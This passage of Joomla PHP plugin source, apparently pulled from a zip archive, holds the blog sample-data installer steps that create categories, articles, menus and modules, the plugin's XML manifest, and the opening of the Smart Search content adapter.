			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 1, $e->getMessage());

			return $response;
		}

		// Get ID from category we just added
		$catIds[] = $categoryModel->getItem()->id;

		// Create "help" category.
		$categoryTitle = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_CATEGORY_1_TITLE');
		$alias         = JApplicationHelper::stringURLSafe($categoryTitle);

		// Set unicodeslugs if alias is empty
		if (trim(str_replace('-', '', $alias) == ''))
		{
			$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
			$alias = JApplicationHelper::stringURLSafe($categoryTitle);
			JFactory::getConfig()->set('unicodeslugs', $unicode);
		}

		$category      = array(
			'title'           => $categoryTitle . $langSuffix,
			'parent_id'       => 1,
			'id'              => 0,
			'published'       => 1,
			'access'          => $access,
			'created_user_id' => $user->id,
			'extension'       => 'com_content',
			'level'           => 1,
			'alias'           => $alias . $langSuffix,
			'associations'    => array(),
			'description'     => '',
			'language'        => $language,
			'params'          => '',
		);

		try
		{
			if (!$categoryModel->save($category))
			{
				throw new Exception($categoryModel->getError());
			}
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 1, $e->getMessage());

			return $response;
		}

		// Get ID from category we just added
		$catIds[] = $categoryModel->getItem()->id;

		// Create Articles.
		$articleModel = JModelLegacy::getInstance('Article', 'ContentModel');
		$articles     = array(
			array(
				'catid'    => $catIds[1],
				'ordering' => 2,
			),
			array(
				'catid'    => $catIds[1],
				'ordering' => 1,
				'access'   => 3,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 2,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 1,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 0,
			),
			array(
				'catid'    => $catIds[0],
				'ordering' => 0,
			),
		);

		foreach ($articles as $i => $article)
		{
			// Set values from language strings.
			$title                = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_ARTICLE_' . $i . '_TITLE');
			$alias                = JApplicationHelper::stringURLSafe($title);
			$article['title']     = $title . $langSuffix;
			$article['introtext'] = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_ARTICLE_' . $i . '_INTROTEXT');
			$article['fulltext']  = JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_CONTENT_ARTICLE_' . $i . '_FULLTEXT');

			// Set values which are always the same.
			$article['id']              = 0;
			$article['created_user_id'] = $user->id;
			$article['alias']           = JApplicationHelper::stringURLSafe($article['title']);

			// Set unicodeslugs if alias is empty
			if (trim(str_replace('-', '', $alias) == ''))
			{
				$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
				$article['alias'] = JApplicationHelper::stringURLSafe($article['title']);
				JFactory::getConfig()->set('unicodeslugs', $unicode);
			}

			$article['language']        = $language;
			$article['associations']    = array();
			$article['state']           = 1;
			$article['featured']        = 0;
			$article['images']          = '';
			$article['metakey']         = '';
			$article['metadesc']        = '';
			$article['xreference']      = '';

			if (!isset($article['access']))
			{
				$article['access'] = $access;
			}

			if (!$articleModel->save($article))
			{
				JFactory::getLanguage()->load('com_content');
				$response            = array();
				$response['success'] = false;
				$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 1, JText::_($articleModel->getError()));

				return $response;
			}

			// Get ID from article we just added
			$ids[] = $articleModel->getItem()->id;
		}

		$this->app->setUserState('sampledata.blog.articles', $ids);
		$this->app->setUserState('sampledata.blog.articles.catids', $catIds);

		$response          = new stdClass;
		$response->success = true;
		$response->message = JText::_('PLG_SAMPLEDATA_BLOG_STEP1_SUCCESS');

		return $response;
	}

	/**
	 * Second step to enter the sampledata. Menus.
	 *
	 * @return  array or void  Will be converted into the JSON response to the module.
	 *
	 * @since  3.8.0
	 */
	public function onAjaxSampledataApplyStep2()
	{
		if (!Session::checkToken('get') || $this->app->input->get('type') != $this->_name)
		{
			return;
		}

		if (!JComponentHelper::isEnabled('com_menus') || !Factory::getUser()->authorise('core.create', 'com_menus'))
		{
			$response            = array();
			$response['success'] = true;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_SKIPPED', 2, 'com_menus');

			return $response;
		}

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		// Create the menu types.
		$menuTable = JTable::getInstance('Type', 'JTableMenu');
		$menuTypes = array();

		for ($i = 0; $i <= 2; $i++)
		{
			$menu = array(
				'id'          => 0,
				'title'       => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_MENU_' . $i . '_TITLE') . $langSuffix,
				'description' => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_MENU_' . $i . '_DESCRIPTION'),
			);

			// Calculate menutype. The number of characters allowed is 24.
			$type = JHtml::_('string.truncate', $menu['title'], 23, true, false);

			$menu['menutype'] = $i . $type;

			try
			{
				$menuTable->load();
				$menuTable->bind($menu);

				if (!$menuTable->check())
				{
					throw new Exception($menuTable->getError());
				}

				$menuTable->store();
			}
			catch (Exception $e)
			{
				JFactory::getLanguage()->load('com_menus');
				$response            = array();
				$response['success'] = false;
				$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

				return $response;
			}

			$menuTypes[] = $menuTable->menutype;
		}

		// Storing IDs in UserState for later usage.
		$this->app->setUserState('sampledata.blog.menutypes', $menuTypes);

		// Get previously entered Data from UserStates.
		$articleIds = $this->app->getUserState('sampledata.blog.articles');

		// Get MenuItemModel.
		JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_menus/models/', 'MenusModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_menus/tables/');
		$this->menuItemModel = JModelLegacy::getInstance('Item', 'MenusModel');

		// Get previously entered categories ids
		$catids = $this->app->getUserState('sampledata.blog.articles.catids');

		// Insert menuitems level 1.
		$menuItems = array(
			array(
				'menutype'     => $menuTypes[0],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_0_TITLE'),
				'link'         => 'index.php?option=com_content&view=category&layout=blog&id=' . $catids[0],
				'component_id' => 22,
				'params'       => array(
					'layout_type'             => 'blog',
					'show_category_title'     => 0,
					'num_leading_articles'    => 4,
					'num_intro_articles'      => 0,
					'num_columns'             => 1,
					'num_links'               => 2,
					'multi_column_order'      => 1,
					'orderby_sec'             => 'rdate',
					'order_date'              => 'published',
					'show_pagination'         => 2,
					'show_pagination_results' => 1,
					'show_category'           => 0,
					'info_bloc_position'      => 0,
					'show_publish_date'       => 0,
					'show_hits'               => 0,
					'show_feed_link'          => 1,
					'menu_text'               => 1,
					'show_page_heading'       => 0,
					'secure'                  => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[0],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_1_TITLE'),
				'link'         => 'index.php?option=com_content&view=article&id=' . $articleIds[0],
				'component_id' => 22,
				'params'       => array(
					'info_block_position' => 0,
					'show_category'       => 0,
					'link_category'       => 0,
					'show_author'         => 0,
					'show_create_date'    => 0,
					'show_publish_date'   => 0,
					'show_hits'           => 0,
					'menu_text'           => 1,
					'show_page_heading'   => 0,
					'secure'              => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[0],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_2_TITLE'),
				'link'         => 'index.php?option=com_users&view=login',
				'component_id' => 25,
				'params'       => array(
					'logindescription_show'  => 1,
					'logoutdescription_show' => 1,
					'menu_text'              => 1,
					'show_page_heading'      => 0,
					'secure'                 => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_3_TITLE'),
				'link'         => 'index.php?option=com_content&view=form&layout=edit',
				'component_id' => 22,
				'access'       => 3,
				'params'       => array(
					'enable_category'   => 1,
					'catid'             => $catids[0],
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_4_TITLE'),
				'link'         => 'index.php?option=com_content&view=article&id=' . $articleIds[1],
				'component_id' => 22,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_5_TITLE'),
				'link'         => 'administrator',
				'type'         => 'url',
				'component_id' => 0,
				'browserNav'   => 1,
				'access'       => 3,
				'params'       => array(
					'menu_text' => 1,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_6_TITLE'),
				'link'         => 'index.php?option=com_users&view=profile&layout=edit',
				'component_id' => 25,
				'access'       => 2,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_7_TITLE'),
				'link'         => 'index.php?option=com_users&view=login',
				'component_id' => 25,
				'params'       => array(
					'logindescription_show'  => 1,
					'logoutdescription_show' => 1,
					'menu_text'              => 1,
					'show_page_heading'      => 0,
					'secure'                 => 0,
				),
			),
		);

		try
		{
			$menuIdsLevel1 = $this->addMenuItems($menuItems, 1);
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

			return $response;
		}

		// Insert another level 1.
		$menuItems = array(
			array(
				'menutype'     => $menuTypes[2],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_8_TITLE'),
				'link'         => 'index.php?option=com_users&view=login',
				'component_id' => 25,
				'params'       => array(
					'login_redirect_url'     => 'index.php?Itemid=' . $menuIdsLevel1[0],
					'logindescription_show'  => 1,
					'logoutdescription_show' => 1,
					'menu_text'              => 1,
					'show_page_heading'      => 0,
					'secure'                 => 0,
				),
			),
		);

		try
		{
			$menuIdsLevel1 = array_merge($menuIdsLevel1, $this->addMenuItems($menuItems, 1));
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

			return $response;
		}

		// Insert menuitems level 2.
		$menuItems = array(
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_9_TITLE'),
				'link'         => 'index.php?option=com_config&view=config&controller=config.display.config',
				'parent_id'    => $menuIdsLevel1[4],
				'component_id' => 23,
				'access'       => 6,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
			array(
				'menutype'     => $menuTypes[1],
				'title'        => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MENUS_ITEM_10_TITLE'),
				'link'         => 'index.php?option=com_config&view=templates&controller=config.display.templates',
				'parent_id'    => $menuIdsLevel1[4],
				'component_id' => 23,
				'params'       => array(
					'menu_text'         => 1,
					'show_page_heading' => 0,
					'secure'            => 0,
				),
			),
		);

		try
		{
			$this->addMenuItems($menuItems, 2);
		}
		catch (Exception $e)
		{
			$response            = array();
			$response['success'] = false;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 2, $e->getMessage());

			return $response;
		}

		$response            = array();
		$response['success'] = true;
		$response['message'] = JText::_('PLG_SAMPLEDATA_BLOG_STEP2_SUCCESS');

		return $response;
	}

	/**
	 * Third step to enter the sampledata. Modules.
	 *
	 * @return  array or void  Will be converted into the JSON response to the module.
	 *
	 * @since  3.8.0
	 */
	public function onAjaxSampledataApplyStep3()
	{
		if (!Session::checkToken('get') || $this->app->input->get('type') != $this->_name)
		{
			return;
		}

		if (!JComponentHelper::isEnabled('com_modules') || !Factory::getUser()->authorise('core.create', 'com_modules'))
		{
			$response            = array();
			$response['success'] = true;
			$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_SKIPPED', 3, 'com_modules');

			return $response;
		}

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		// Add Include Paths.
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_modules/models/', 'ModulesModelModule');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_modules/tables/');
		$model  = JModelLegacy::getInstance('Module', 'ModulesModel');
		$access = (int) $this->app->get('access', 1);

		// Get previously entered Data from UserStates
		$menuTypes = $this->app->getUserState('sampledata.blog.menutypes');

		$catids = $this->app->getUserState('sampledata.blog.articles.catids');

		$modules = array(
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_0_TITLE'),
				'ordering'  => 1,
				'position'  => 'position-1',
				'module'    => 'mod_menu',
				'showtitle' => 0,
				'params'    => array(
					'menutype'        => $menuTypes[0],
					'startLevel'      => 1,
					'endLevel'        => 0,
					'showAllChildren' => 0,
					'class_sfx'       => ' nav-pills',
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'itemid',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_1_TITLE'),
				'ordering'  => 1,
				'position'  => 'position-1',
				'module'    => 'mod_menu',
				'access'    => 3,
				'showtitle' => 0,
				'params'    => array(
					'menutype'        => $menuTypes[1],
					'startLevel'      => 1,
					'endLevel'        => 0,
					'showAllChildren' => 1,
					'class_sfx'       => ' nav-pills',
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'itemid',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_2_TITLE'),
				'ordering'  => 6,
				'position'  => 'position-7',
				'module'    => 'mod_syndicate',
				'showtitle' => 0,
				'params'    => array(
					'display_text' => 1,
					'text'         => 'My Blog',
					'format'       => 'rss',
					'layout'       => '_:default',
					'cache'        => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_3_TITLE'),
				'ordering' => 4,
				'position' => 'position-7',
				'module'   => 'mod_articles_archive',
				'params'   => array(
					'count'      => 10,
					'layout'     => '_:default',
					'cache'      => 1,
					'cache_time' => 900,
					'cachemode'  => 'static',
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_4_TITLE'),
				'ordering' => 5,
				'position' => 'position-7',
				'module'   => 'mod_articles_popular',
				'params'   => array(
					'catid'      => $catids[0],
					'count'      => 5,
					'show_front' => 1,
					'layout'     => '_:default',
					'cache'      => 1,
					'cache_time' => 900,
					'cachemode'  => 'static',
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_5_TITLE'),
				'ordering' => 2,
				'position' => 'position-7',
				'module'   => 'mod_articles_category',
				'params'   => array(
					'mode'                         => 'normal',
					'show_on_article_page'         => 0,
					'show_front'                   => 'show',
					'count'                        => 6,
					'category_filtering_type'      => 1,
					'catid'                        => $catids[0],
					'show_child_category_articles' => 0,
					'levels'                       => 1,
					'author_filtering_type'        => 1,
					'author_alias_filtering_type'  => 1,
					'date_filtering'               => 'off',
					'date_field'                   => 'a.created',
					'relative_date'                => 30,
					'article_ordering'             => 'a.created',
					'article_ordering_direction'   => 'DESC',
					'article_grouping'             => 'none',
					'article_grouping_direction'   => 'krsort',
					'month_year_format'            => 'F Y',
					'item_heading'                 => 5,
					'link_titles'                  => 1,
					'show_date'                    => 0,
					'show_date_field'              => 'created',
					'show_date_format'             => JText::_('DATE_FORMAT_LC5'),
					'show_category'                => 0,
					'show_hits'                    => 0,
					'show_author'                  => 0,
					'show_introtext'               => 0,
					'introtext_limit'              => 100,
					'show_readmore'                => 0,
					'show_readmore_title'          => 1,
					'readmore_limit'               => 15,
					'layout'                       => '_:default',
					'owncache'                     => 1,
					'cache_time'                   => 900,
					'module_tag'                   => 'div',
					'bootstrap_size'               => 0,
					'header_tag'                   => 'h3',
					'style'                        => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_6_TITLE'),
				'ordering'  => 1,
				'position'  => 'footer',
				'module'    => 'mod_menu',
				'showtitle' => 0,
				'params'    => array(
					'menutype'        => $menuTypes[2],
					'startLevel'      => 1,
					'endLevel'        => 0,
					'showAllChildren' => 0,
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'itemid',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_7_TITLE'),
				'ordering' => 1,
				'position' => 'position-0',
				'module'   => 'mod_search',
				'params'   => array(
					'width'      => 20,
					'button_pos' => 'right',
					'opensearch' => 1,
					'layout'     => '_:default',
					'cache'      => 1,
					'cache_time' => 900,
					'cachemode'  => 'itemid',
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_8_TITLE'),
				'content'   => '<p><img src="images/headers/raindrops.jpg" alt="" /></p>',
				'ordering'  => 1,
				'position'  => 'position-3',
				'module'    => 'mod_custom',
				'showtitle' => 0,
				'params'    => array(
					'prepare_content' => 1,
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'static',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_9_TITLE'),
				'ordering' => 1,
				'position' => 'position-7',
				'module'   => 'mod_tags_popular',
				'params'   => array(
					'maximum'         => 8,
					'timeframe'       => 'alltime',
					'order_value'     => 'count',
					'order_direction' => 1,
					'display_count'   => 0,
					'no_results_text' => 0,
					'minsize'         => 1,
					'maxsize'         => 2,
					'layout'          => '_:default',
					'owncache'        => 1,
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_10_TITLE'),
				'ordering' => 0,
				'position' => '',
				'module'   => 'mod_tags_similar',
				'params'   => array(
					'maximum'        => 5,
					'matchtype'      => 'any',
					'layout'         => '_:default',
					'owncache'       => 1,
					'module_tag'     => 'div',
					'bootstrap_size' => 0,
					'header_tag'     => 'h3',
					'style'          => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_11_TITLE'),
				'ordering'  => 4,
				'position'  => 'cpanel',
				'module'    => 'mod_stats_admin',
				'access'    => 6,
				'client_id' => 1,
				'params'    => array(
					'serverinfo'     => 1,
					'siteinfo'       => 1,
					'counter'        => 0,
					'increase'       => 0,
					'layout'         => '_:default',
					'cache'          => 1,
					'cache_time'     => 900,
					'cachemode'      => 'static',
					'module_tag'     => 'div',
					'bootstrap_size' => 6,
					'header_tag'     => 'h3',
					'style'          => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_12_TITLE'),
				'ordering'  => 1,
				'position'  => 'postinstall',
				'module'    => 'mod_feed',
				'client_id' => 1,
				'params'    => array(
					'rssurl'         => 'https://www.joomla.org/announcements/release-news.feed',
					'rssrtl'         => 0,
					'rsstitle'       => 1,
					'rssdesc'        => 1,
					'rssimage'       => 1,
					'rssitems'       => 3,
					'rssitemdesc'    => 1,
					'word_count'     => 0,
					'layout'         => '_:default',
					'cache'          => 1,
					'cache_time'     => 900,
					'module_tag'     => 'div',
					'bootstrap_size' => 0,
					'header_tag'     => 'h3',
					'style'          => 0,
				),
			),
		);

		foreach ($modules as $module)
		{
			// Append language suffix to title.
			$module['title'] .= $langSuffix;

			// Set values which are always the same.
			$module['id']         = 0;
			$module['asset_id']   = 0;
			$module['language']   = $language;
			$module['note']       = '';
			$module['published']  = 1;
			$module['assignment'] = 0;

			if (!isset($module['content']))
			{
				$module['content'] = '';
			}

			if (!isset($module['access']))
			{
				$module['access'] = $access;
			}

			if (!isset($module['showtitle']))
			{
				$module['showtitle'] = 1;
			}

			if (!isset($module['client_id']))
			{
				$module['client_id'] = 0;
			}

			if (!$model->save($module))
			{
				JFactory::getLanguage()->load('com_modules');
				$response            = array();
				$response['success'] = false;
				$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 3, JText::_($model->getError()));

				return $response;
			}
		}

		$response            = array();
		$response['success'] = true;
		$response['message'] = JText::_('PLG_SAMPLEDATA_BLOG_STEP3_SUCCESS');

		return $response;
	}

	/**
	 * Adds menuitems.
	 *
	 * @param   array    $menuItems  Array holding the menuitems arrays.
	 * @param   integer  $level      Level in the category tree.
	 *
	 * @return  array  IDs of the inserted menuitems.
	 *
	 * @since  3.8.0
	 *
	 * @throws  Exception
	 */
	private function addMenuItems(array $menuItems, $level)
	{
		$itemIds = array();
		$access  = (int) $this->app->get('access', 1);
		$user    = JFactory::getUser();

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		foreach ($menuItems as $menuItem)
		{
			// Reset item.id in model state.
			$this->menuItemModel->setState('item.id', 0);

			// Set values which are always the same.
			$menuItem['id']              = 0;
			$menuItem['created_user_id'] = $user->id;
			$menuItem['alias']           = JApplicationHelper::stringURLSafe($menuItem['title']);

			// Set unicodeslugs if alias is empty
			if (trim(str_replace('-', '', $menuItem['alias']) == ''))
			{
				$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
				$menuItem['alias'] = JApplicationHelper::stringURLSafe($menuItem['title']);
				JFactory::getConfig()->set('unicodeslugs', $unicode);
			}

			// Append language suffix to title.
			$menuItem['title'] .= $langSuffix;

			$menuItem['published']       = 1;
			$menuItem['language']        = $language;
			$menuItem['note']            = '';
			$menuItem['img']             = '';
			$menuItem['associations']    = array();
			$menuItem['client_id']       = 0;
			$menuItem['level']           = $level;
			$menuItem['home']            = 0;

			// Set browserNav to default if not set
			if (!isset($menuItem['browserNav']))
			{
				$menuItem['browserNav'] = 0;
			}

			// Set access to default if not set
			if (!isset($menuItem['access']))
			{
				$menuItem['access'] = $access;
			}

			// Set type to 'component' if not set
			if (!isset($menuItem['type']))
			{
				$menuItem['type'] = 'component';
			}

			// Set template_style_id to global if not set
			if (!isset($menuItem['template_style_id']))
			{
				$menuItem['template_style_id'] = 0;
			}

			// Set parent_id to root (1) if not set
			if (!isset($menuItem['parent_id']))
			{
				$menuItem['parent_id'] = 1;
			}

			if (!$this->menuItemModel->save($menuItem))
			{
				// Try two times with another alias (-1 and -2).
				$menuItem['alias'] .= '-1';

				if (!$this->menuItemModel->save($menuItem))
				{
					$menuItem['alias'] = substr_replace($menuItem['alias'], '2', -1);

					if (!$this->menuItemModel->save($menuItem))
					{
						throw new Exception($menuItem['title'] . ' => ' . $menuItem['alias'] . ' : ' . $this->menuItemModel->getError());
					}
				}
			}

			// Get ID from menuitem we just added
			$itemIds[] = $this->menuItemModel->getstate('item.id');
		}

		return $itemIds;
	}
}
PK�(]wy�DDsampledata/blog/blog.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="sampledata" method="upgrade">
	<name>plg_sampledata_blog</name>
	<author>Joomla! Project</author>
	<creationDate>July 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.8.0</version>
	<description>PLG_SAMPLEDATA_BLOG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="blog">blog.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_sampledata_blog.ini</language>
		<language tag="en-GB">en-GB.plg_sampledata_blog.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
		</fields>
	</config>
</extension>
PK�(]m�jk++finder/content/content.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Content
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Smart Search adapter for com_content.
 *
 * @since  2.5
 */
class PlgFinderContent extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Content';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_content';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'article';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'Article';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__content';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to update the item link information when the item category is
	 * changed. This is fired when the item category is published or unpublished
	 * from the list view.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        A list of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderCategoryChangeState($extension, $pks, $value)
	{
		// Make sure we're handling com_content categories.
		if ($extension === 'com_content')
		{
			$this->categoryStateChange($pks, $value);
		}
	}

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_content.article')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove item from the index.
		return $this->remove($id);
	}

	/**
	 * Smart Search after save content method.
	 * Reindexes the link information for an article that has been saved.
	 * It also makes adjustments if the access level of an item or the
	 * category to which it belongs has changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the content has just been created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle articles here.
		if ($context === 'com_content.article' || $context === 'com_content.form')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item.
			$this->reindex($row->id);
		}

		// Check for access changes in the category.
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Smart Search before content save method.
	 * This event is fired before the data is actually saved.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    If the content is just about to be created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle articles here.
		if ($context === 'com_content.article' || $context === 'com_content.form')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		// Check for access levels from the category.
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      An array of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
